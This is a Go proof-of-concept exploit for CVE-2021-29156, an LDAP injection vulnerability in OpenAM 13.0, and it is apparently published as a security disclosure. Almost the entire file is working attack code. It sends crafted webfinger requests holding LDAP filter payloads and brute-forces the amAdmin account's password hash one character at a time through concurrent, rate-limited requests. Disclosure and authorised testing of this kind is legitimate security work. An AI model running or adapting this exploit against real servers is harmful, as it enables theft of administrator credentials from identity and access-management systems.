# Exploit Title: OpenAM 13.0 - LDAP Injection
# Date: 03/11/2021
# Exploit Author: Charlton Trezevant, GuidePoint Security
# Vendor Homepage: https://www.forgerock.com/
# Software Link: https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/13.0.0,
# https://backstage.forgerock.com/docs/openam/13/install-guide/index.html#deploy-openam
# Version: OpenAM v13.0.0
# Tested on: go1.17.2 darwin/amd64
# CVE: CVE-2021-29156
#
# This vulnerability allows an attacker to extract a variety of information
# (such as a user’s password hash) from vulnerable OpenAM servers via LDAP
# injection, using a character-by-character brute force attack.
#
# https://github.com/guidepointsecurity/CVE-2021-29156
# https://nvd.nist.gov/vuln/detail/CVE-2021-29156
# https://portswigger.net/research/hidden-oauth-attack-vectors
package main
import (
"container/ring"
"fmt"
"math/rand"
"net/http"
"net/url"
"sync"
"time"
)
func main() {
baseURL := "http://localhost/openam/"
proxy := "http://localhost:8080/"
user := "amAdmin"
rateLimit := 6
payloadUsername := fmt.Sprintf(".well-known/webfinger?resource=http://x/%s)", user)
partURL := fmt.Sprintf("%s%s", baseURL, payloadUsername)
testCharPayload := "(sunKeyValue=userPassword=%s*)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer"
testCrackedPayload := "(sunKeyValue=userPassword=%s)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer"
dict := makeRing()
password := ""
proxyURL, _ := url.Parse(proxy)
client := &http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(proxyURL),
},
Timeout: 30 * time.Second,
}
cracked := make(chan string, 1)
foundChar := make(chan string, 1)
wg := &sync.WaitGroup{}
wg.Add(1)
printHeader()
loop:
for {
select {
case <-cracked:
fmt.Printf("Cracked! Password hash is: \"%s\"\n", password)
wg.Done()
break loop
case char := <-foundChar:
password += char
fmt.Printf("Progress so far: '%s'\n", password)
go (func(client *http.Client, url, payload *string, password string, cracked *chan string) {
time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond)
time.Sleep(1 * time.Second)
checkCracked(client, url, payload, &password, cracked)
})(client, &partURL, &testCharPayload, password, &cracked)
default:
for i := 0; i < rateLimit-1; i++ {
testChar := dict.Value.(string)
go (func(client *http.Client, url, payload *string, password, testChar string, foundChar *chan string) {
time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond)
time.Sleep(1 * time.Second)
getChar(client, url, payload, &password, &testChar, foundChar)
})(client, &partURL, &testCrackedPayload, password, testChar, &foundChar)
dict = dict.Next()
}
time.Sleep(1 * time.Second)
}
}
wg.Wait()
}
func checkCracked(client *http.Client, targetURL, payload, password *string, cracked *chan string) {
fullPayload := fmt.Sprintf(*payload, url.QueryEscape(*password))
fullURL := fmt.Sprintf("%s%s", *targetURL, fullPayload)
req, err := http.NewRequest("GET", fullURL, nil)
if err != nil {
fmt.Printf("checkCracked: %s", err.Error())
return
}
res, err := client.Do(req)
if err != nil {
fmt.Printf("checkCracked: %s", err.Error())
return
}
if res.StatusCode == 200 {
*cracked <- *password
return
}
if res.StatusCode == 404 {
return
}
fmt.Printf("checkCracked: got status code of %d for payload %s", res.StatusCode, payload)
}
func getChar(client *http.Client, targetURL, payload, password, testChar *string, foundChar *chan string) {
combinedPass := url.QueryEscape(fmt.Sprintf("%s%s", *password, *testChar))
fullPayload := fmt.Sprintf(*payload, combinedPass)
fullURL := fmt.Sprintf("%s%s", *targetURL, fullPayload)
req, err := http.NewRequest("GET", fullURL, nil)
if err != nil {
fmt.Printf("getChar: %s", err.Error())
return
}
res, err := client.Do(req)
if err != nil {
fmt.Printf("getChar: %s", err.Error())
return
}
if res.StatusCode == 200 {
*foundChar <- *testChar
return
}
if res.StatusCode == 404 {
return
}
fmt.Printf("getChar: got status code of %d for payload %s", res.StatusCode, payload)
}
func makeRing() *ring.Ring {
var upcase string = `ABCDEFGHIJKLMNOPQRSTUVWXYZ`
var lcase string = `abcdefghijklmnopqrstuvwxyz`
var num string = `1234567890`
var punct string = `$+/.=`
var dictionary string = upcase + lcase + num + punct
buf := ring.New(len(dictionary))
for _, c := range dictionary {
buf.Value = fmt.Sprintf("%c", c)
buf = buf.Next()
}
return buf
}
func printHeader() {
fmt.Printf(`
_______,---.,---. .-''-.
/ __\ | /| | .'_ _ \
| ,_/\__)|| |.'/ ( ' ) '
,-./)|| _ ||. (_ o _)|
\'_ '')|_( )_||(_,_)___|
> (_))__\ (_ o._) /'\ .---.
(..-'_/)\ (_,_) /\'-'/
'-''-' /\ /\ /
'._____.''---'''-..-'
.'''''-. .-'''''''-. .'''''-. ,---. .'''''-..-''''-.,---. ,--------..------..---.
/ ,-.\ / ,'''''''. \ / ,-.\ /_ |/ ,-.\/_ _ \/_ | | _____| /.-. \ \ /
(___/| ||/ .-./ )\|(___/| |,_ | (___/| ||( ' )|,_ | |)
.'/ || \ '_ .')||.'/ ,-./)| _ __ _.'/ | (_{;}_) |,-./)| |'----. |.----.\ /
_.-'_.-'||(_ (_) _)||_.-'_.-'\'_ '') ( ' )--( ' ) _.-'_.-'|(_,_)|\'_ '')|_.._ _'. | _ _'. v
_/_.' ||/ .\ ||_/_.'> (_))(_{;}_)(_{;}_)_/_.'\| > (_)) ( ' ) \|( ' ) \ _ _
( ' )(__..--.||'-''"' || ( ' )(__..--.(..-' (_,_)--(_,_)( ' )(__..--.'----'|(..-' _(_{;}_)|| (_{;}_)|(_I_)
(_{;}_)|\'._______.'/(_{;}_)| '-''-'| (_{;}_)|.--.
(_,_)-------' '._______.'(_,_)-------' '---'(_,_)-------')_____.''---''...__..' '...__..'(_I_)
~ ~ (c) 2021 GuidePoint Security - charlton.trezevant@guidepointsecurity.com ~ ~
`)
}